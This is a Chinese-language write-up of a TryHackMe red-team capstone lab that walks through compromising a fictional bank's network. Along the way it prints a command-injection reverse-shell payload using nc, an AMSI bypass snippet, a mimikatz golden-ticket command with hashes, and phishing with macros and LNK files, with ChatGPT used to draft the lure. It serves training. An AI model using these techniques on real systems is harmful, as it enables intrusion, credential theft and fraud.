Red Team Capstone Challenge
注意:我不会在这里提及相关的flag,只专心打;flag可以自己用各个hostname尝试一遍
挑战作者的一句话
这个房间被评为坚硬,但因为它是你前面的一座山,它可能被评为疯狂。但是,当您将其分解为必须实现的妥协的各个阶段时,这些阶段中没有一个实际上很难;他们只需要关注细节并合理地应用您应该通过红队学习途径学到的知识。正常的红队交战持续数周,有时甚至数月。在应对挑战时考虑到这一点。
创建此网络是为了模拟您在红队期间通常会在真实客户参与中发现的内容。此挑战中的任何攻击路径都不是作为虚构的 CTF 创建的。相反,您会发现我在交战中亲自看到的错误配置和漏洞。但是,您还将面临我不得不面对的真正挑战,某些工具或技术根本无法开箱即用,或者必须使用独创性来使某些东西以您想要的方式运行。同样,在实际参与中,答案永远不会拿起电话告诉客户“我不能妥协这个主机,因为我使用的工具显示 XYZ 错误”。这根本不会削减它。答案是启动调试过程,尝试了解不同之处,并利用这些知识进行调整,以便仍然能够执行攻击。
当你攀登这座山时,我的一些建议 – 首先,确保正确阅读所提供的信息。此信息旨在帮助您避免将其作为 CTF 进行尝试,这可能会导致挫败感。其次,这一挑战在每个阶段都有多重妥协。如果您坚持尝试使特定攻击起作用,我的建议是执行其他枚举以尝试发现其他攻击路径。找到你自己的黄金路径来完成一次挑战,然后返回并尝试征服其他攻击路径。
最重要的是要记住征服这个顶点挑战
- 这是红队的练习,而不是夺旗游戏。仅凭您的 CTF 技能不足以完成挑战。
- 该练习测试您在红队学习路径中学到的技能。我们建议在尝试挑战之前至少完成此路径的 80%。如果您遇到困难,请返回路径,因为它涵盖了您需要的技术。
- 有不同的方法可以完成此练习。如果您在特定攻击中遇到问题,请尝试不同的方法和途径。
- 仔细阅读任务2“项目简介”,因为它包含完成挑战所需的关键信息。
网络拓扑
项目概述
网络安全咨询公司TryHackMe已与Trimento政府接洽,要求对他们的储备银行(TheReserve)进行红队交战。 Trimento是一个位于太平洋的岛国。虽然它们的规模可能很小,但由于外国投资,它们绝不是不富裕的。他们的储备银行有两个主要部门:
- 公司 – Trimento储备银行允许外国投资,因此他们有一个部门负责该国的企业银行客户。
- 银行 – Trimento储备银行负责该国的核心银行系统,该系统与世界各地的其他银行相连。
logo:
Trimento政府表示,评估将涵盖整个储备银行,包括其周边和内部网络。他们担心,企业分工在促进经济的同时,由于隔离不足,可能会危及核心银行体系。这种红队参与的结果将决定是否应该将公司部门分拆成自己的公司。
此评估的目的是评估公司部门是否可以受到损害,如果是,则确定它是否会损害银行部门。必须执行模拟的欺诈性汇款以充分证明妥协。
为了安全地执行此操作,TheReserve将为您创建两个新的核心银行账户。您需要证明可以在这两个帐户之间转移资金。唯一可行的方法是访问核心后端银行系统SWIFT。
注意:SWIFT(全球银行间金融电信协会)是银行用于后端转账的实际系统。在此评估中,已创建一个核心后端系统。但是,出于安全原因,在此过程中引入了故意的不准确之处。如果您想了解有关实际 SWIFT 及其安全性的更多信息,请随时进行一些研究!换句话说,这里下面的信息是编造的。
为了帮助您了解项目目标,Trimento政府分享了一些有关SWIFT后端系统的信息。SWIFT 在访问受限的隔离安全环境中运行。虽然不应轻易使用不可能这个词,但实际托管基础架构受损的可能性非常小,可以公平地说,不可能破坏此基础架构。
但是,SWIFT 后端在 http://swift.bank.thereserve.loc/ 处公开了一个内部 Web 应用程序,TheReserve 使用它来促进传输。政府提供了转移的一般程序。要转移资金:
- 客户要求转移资金并收到转移代码。
- 客户联系银行并提供此转账代码。
- 具有捕获者角色的员工向 SWIFT 应用程序进行身份验证并捕获传输。
- 具有审批者角色的员工查看转移详细信息,如果经过验证,则批准转移。这必须从跳转主机执行。
- 一旦 SWIFT 网络收到转账批准,转账就会得到便利,并通知客户。
项目范围
本节详细介绍了项目范围。
范围内
- 对TheReserve的内部和外部网络进行安全测试,包括通过VPN连接访问的所有IP范围。
- TheReserve公司网站的OSINTing,该网站在TheReserve的外部网络上公开。请注意,这意味着所有 OSINT 活动都应限制在提供的网络子网中,并且不需要外部互联网 OSINTing。
- 对TheReserve的任何员工的网络钓鱼。
- 攻击 WebMail 主机上 TheReserve 员工的邮箱 (.11)。
- 使用任何攻击方法完成在提供的帐户之间执行交易的目标。
超出范围
- 对未托管在网络上的任何站点进行安全测试。
- 对TryHackMe VPN(.250)和评分服务器进行安全测试,或试图攻击连接到网络的任何其他用户。
- 在 WebMail 服务器 (.11) 上进行的任何更改邮件服务器配置或其底层基础结构的安全测试。
- 攻击网络邮件门户上其他红队成员的邮箱(.11)。
- 外部(互联网)OSINT聚会。
- 攻击所提供子网范围之外的任何主机。完成以下问题后,您的子网将显示在网络图中。此 10.200.X.0/24 网络是应对此挑战的唯一范围内网络。
- 进行 DoS 攻击或任何使其他用户无法运行网络的攻击。
在开始之前,请确保您了解以下几点。如果有任何不清楚的地方,请重新阅读此任务。
- 此评估的目的是评估公司部门是否可以受到损害,如果是,则确定它是否会导致银行部门的损害。
- 为了证明这种危害,必须通过访问 SWIFT 核心后端银行系统来执行模拟欺诈性汇款。
- SWIFT 后端基础设施是安全的,但公开了 TheReserve 用于促进传输的内部 Web 应用程序。
- 调动的一般流程涉及职责分离,以确保一名员工无法同时捕获和批准同一调动。
- 已为您提供了一些信息和工具,您可能会发现这些信息和工具在练习中很有用,包括密码策略,但您可以自由使用自己的信息和工具。
- 有一些规则可以确定允许您和不允许做什么。不遵守这些规则可能会导致被禁止参加挑战。
- 获得网络访问权限后,您需要使用提供的SSH详细信息通过电子公民通信门户注册挑战。
- 您需要通过在已入侵的主机上执行特定步骤来证明已泄露。这些步骤将通过电子公民门户提供给您。
外围信息收集
网络拓扑更新
TheReserve网站
端口扫描
Web信息收集
进入80端口是TheReserve银行的主页
从title中得知,这是October CMS,版本号未知
TheReserve银行团队信息
从该网站上我们可以获得有关银行团队的信息
- 银行主管 Brenda Henderson (女)
- 副主任 Leslie Morley(女) 和 Martin Savage(男)
- 企业高管 CEO (Paula)(女), CIO (Christopher)(男), CTO (Antony)(男), CMO (Charlene)(女), and COO (Rhys)(男)
- 助理 Lynda(女)
- 项目经理 Roy(男)
这里的名字不完整,在这些人员照片的目录下,我们可以获得更多、更完整的
邮箱:applications@corp.thereserve.loc
以此推测用户的邮箱是username@corp.thereserve.loc
目录扫描
上gobuster
searchsploit存在一些漏洞, 但似乎暂无法利用
mail服务器
端口扫描
开了不少端口
80端口是iis,但似乎没有任何东西
它是邮件服务器,所以开了110端口,但我们目前暂时没有任何有效凭据,尝试smb爆破太过缓慢,不考虑
OpenVpn服务器
扫一下12的vpn服务器
Web信息收集
80端口是一个登录页面
这里可以尝试使用刚刚获得的用户名进行爆破
我们已经得知了密码策略,可以用john自定义规则生成一些密码
尝试hydra爆破,失败
目录扫描
gobuster扫
获得一个openvpn文件
将其下载,将服务器ip改成当前的openvpn服务器
直接连接,注意:可能会一直刷重连,不过似乎不影响
经过多次主机存活扫描,里面除了vpn服务器和自己,一台机器都没有
VPN服务器Getshell
后来查看油管大佬的视频后发现vpn站点竟是使用邮箱登录的
登录进去
这里可以请求ovpn文件,我通过filename参数的意思,我从sql注入联想到命令注入,有后缀,并且无回显
使用反引号,尝试nc拼一把运气回连攻击机,竟然成功
直接老方法getshell
?filename=`mkfifo+/tmp/f1%3bnc+10.50.116.23+443++/tmp/f1`
权限提升 – cp
查看sudo -l
很简单的提取方法,直接覆盖passwd
持久化
先加固shell
编辑ssh配置文件,允许密码登录
创建一个ssh账户,并将自己加入sudo组,方便后续行动
1q2w3e4r!@#$
usermod -a -G sudo hackerMM
sshuttle搭建隧道
针对银行团队开展 网络钓鱼行动
到e-citizen注册电子邮箱
如您所见,我们已经购买了一个用于域名抢注的域名,用于钓鱼。
发现网络邮件服务器后,您可以使用这些详细信息来验证并从您的邮箱中恢复其他项目信息。
一旦您执行了破坏网络的操作,请向 e-Citizen 进行身份验证,以便向政府提供更新。 如果您的更新足够,您将获得一面旗帜以指示进度。
设置gophish
我不会在这里提及如何设置gophish,因为THM已经教过,只记录必要的
在这里为了令我们的钓鱼网站更加真实,我选择套用他们银行vpn登录页面
勾选捕获密码
将钓鱼邮件模板和钓鱼页面设置好后,添加目标邮箱,我们已经获得目标团队的username,并且邮箱也可以猜测出来
添加活动
鱼叉式网络钓鱼
查看邮箱发现部分人回复只处理内部事情,不处理外部事宜
但其中一封邮件给我们指向了另一个方向:
再会,
谢谢您的来信。 但是,它似乎与我的业务部门无关。 请将您的问题提交给正确的 BU。
问候,
艾米莉·哈维
我猜测它会处理我们的信件,但前提是邮件内容她会感兴趣
我们在此回到银行的网站上,发现她和第一位女士会处理外部发来的信件
我想我们需要进行鱼叉式网络钓鱼,专门针对她两开展
我尝试通过chatgpt生成有关话题的邮件模板
但很遗憾,这个邮件发过去后,经理并没有回复我们,也没有点击链接,暗羽喵大佬建议尝试VBA宏
我尝试了msf生成VBA payload,依然没有回复邮件,猜测是因为被防火墙拦截了。
LNK劫持
尝试lnk劫持,利用mslink
发送邮件
开启smbserver,成功访问了过来
这里证明我们的VBA应该也成功了,但是没连接过来,目前我们可以确认
我尝试直接用msf生成反向shell payload,但没连接过来,应该是有WinDefender
尝试直接ntlm中继
失败
WinDefender C#免杀
尝试上次利用THM教导的免杀知识自己做的简单免杀,成功getshell
登录.250主机的ssh,获取flag1
由于shellcode是msf生成的,运行时执行命令依然会被杀,这里可以直接生成一个新进程规避WinDefender的内存检测,直接powershell或cmd
这样就不会再在运行时被检测到了
由于有AV的存在,我们无法随意使用WinPEAS和sharphound,这里可以使用SharpHound的powershell脚本,再去bypass AMSI
$a = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$b = $a.GetField('ams'+'iInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
分段绕过
内网信息收集
内网存活主机、端口信息收集
在vpn服务器上
由于nmap扫描流量不走sshuttle隧道,这里只好传个nmap二进制可执行文件过去,在服务器上扫,收集内网主机存活
CORP子域 – 域信息收集 – SharpHound Bypass
在WRK1上
绕过AMSI后发现又会被WinDefender杀掉,这里只好考虑对SharpHound做混淆
https://github.com/Flangvik/ObfuscatedSharpCollection
这个项目包含许多可执行文件的混淆版本,这里的经过混淆的sharphound能够使用
收集域信息
攻击机开启smbserver后回传数据包,等待下一步利用
WinPEAS WRK1本地信息收集
上winPEAS,提取到WRK1Administrator的密码,等待下一步利用
CORP子域 – 初步AD域枚举
我们目前拥有两组凭据,以及一个WRK1/Administrator的明文密码(未知是否有效)
可以尝试常规的攻击方式
Kerberoasting
直接上impacket
直接上hashcat
只得到了svcScanning的账户密码,不过也足矣
分析
SVCBACKUPS组允许通过登录到server1和server2,并且可以通过server的机器账户修改DC BACKUPS的GPO
CORP子域 – AD横向移动 – SERVER1/SERVER2
SERVER1
有了凭据和信息,我们直接evil-winrm等server1和server2
查看whoami发现我们属于administrators组
进rdp把杀毒关了
mimikatz简单找了一波没找到啥
下来用impacket的secretsdump获得了svcBackups的明文密码
CORP子域 – AD利用
DC
根据以往的经验,这种账户应该有权限转储ntds.dit
拿着nt hash直接登
注意:如果想要拿flag4的话可以直接拿着DA组的hash用xfreerdp进行pth登录,当然也可以自己添加给账户
简单域持久
直接向DA组添加账户
顺便把WinDefender关了
网络拓扑更新
接管父域 – 域间移动
Inter-Realm TGT – 域间金票
通过双向信任,接管父域
用AD-RSAT的cmdlet获取到corp子域DC的sid、EA组的sid
krbtgt在前面DCsync的时候已经获取了,直接开始做金票
mimikatz # kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt
也可以用/export导出kirbi tgt文件保存到攻击机
验证tgt是否有效
移动到RootDC
这里psexec过去rootDC
由于我们当前是corpAdministrator登录过去的,所以尝试在RootDC上添加自己的账户的时候会失败
但我们有权,可以直接修改thereserve.locAdministrator的密码
然后从corpDC登录thereserve.locAdministrator然后通过psexec登rootDC
添加EA组后门账户
注意, bank子域与corp子域应该是没有信任关系的,这就意味着我们无法直接从corp子域访问到bank子域
但我们可以利用子域与父域的双向信任。我们可以先从corpDC登录到RootDC,再从RootDC访问到Bank子域
另外,我们还需要在bank子域下单独创建一个账户并赋予DA组权限
至此,我们已经掌控整个域,拥有所有域的完全控制权
银行转账
反向ssh
JMP机器是可以直接与我们攻击机互通的,这里直接用ssh反向连接到攻击机做代理
配置浏览器代理插件
我们到.250机器上将会获得一个银行账户,用其进行登录
向指定的账户转账1000万
在检索的时候,无意发现一个py脚本,里面存在一组凭据,这就是银行转账审批者的账户
查看该用户所在的组,可以猜到这个组应该就是负责最终批钱的
顺着用户组,找到了另一个组,该组应该就是负责初步审核的
在.61机器下,有两个PA组账户在这里登录过
那么PC组也能或者说最有可能在WORK1和WORK2下活动
登录到WORK1,发现这里果然有PC组的账户登录
直接改密码
rdp登录过去
虽然Chrome里啥也没有,但是该用户的家目录下有个文件,里面记录的应该就是他的网站登录密码
用这凭据成功登录
进后台把自己的转账申请同意
退出登录,回到r.davies账户,同意转账
最终转账
这是最后的检查! 如果您还没有完成所有其他标志,请不要尝试此操作。
完成后,请按照下列步骤操作:
- 使用您的 DESTINATION 凭据,向 SWIFT 进行身份验证
- 使用 SWIFT 访问标志电子邮件中提供的 PIN,验证交易。
- 使用您的捕获器访问权限,捕获已验证的交易。
- 使用您的批准者访问权限,批准捕获的交易。
- 利润?
一旦您批准了所提供的交易,请输入 Y 以验证您的访问权限。
这个跟前面的操作一致,仅仅只是多了一步PIN码确认,这里我就不再重复论述了
这里值得注意的是不要重新创建转账请求,而是对着原来1000万的那个进行PIN码确认
拓扑更新
结束
这个红队挑战是我在thm学习这么久打的最棒的挑战,它确实是几乎考察了红队路径7-80%的考点,其实回头看整个挑战,其实并没有什么难点,只要认认真真在THM学,根本就毫无难度,这个挑战可以作为考察自己红队路径有没有学及格,仅此而已
这次红队挑战对我来说也是第一次,完成这个挑战,对我来说也意味着我也差不多适合前往htb了,我在TryHackMe学习了截至目前173天,我从零学到现在,只有我自己知道我学了多少东西,所以这才是我真正热爱thm的原因,但我也要往更高处走了,步入大佬们的后尘,感谢TryHackMe
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
现在就是有个疑惑,不知道C语言学习完之后还要不要学习一些衔接的东西还是直接学习python,因为我本身是一个带专哥们,专升本需求python占了60分,现在大一,感觉学习完C语言后就得马不停蹄的学习python了。 ———————-…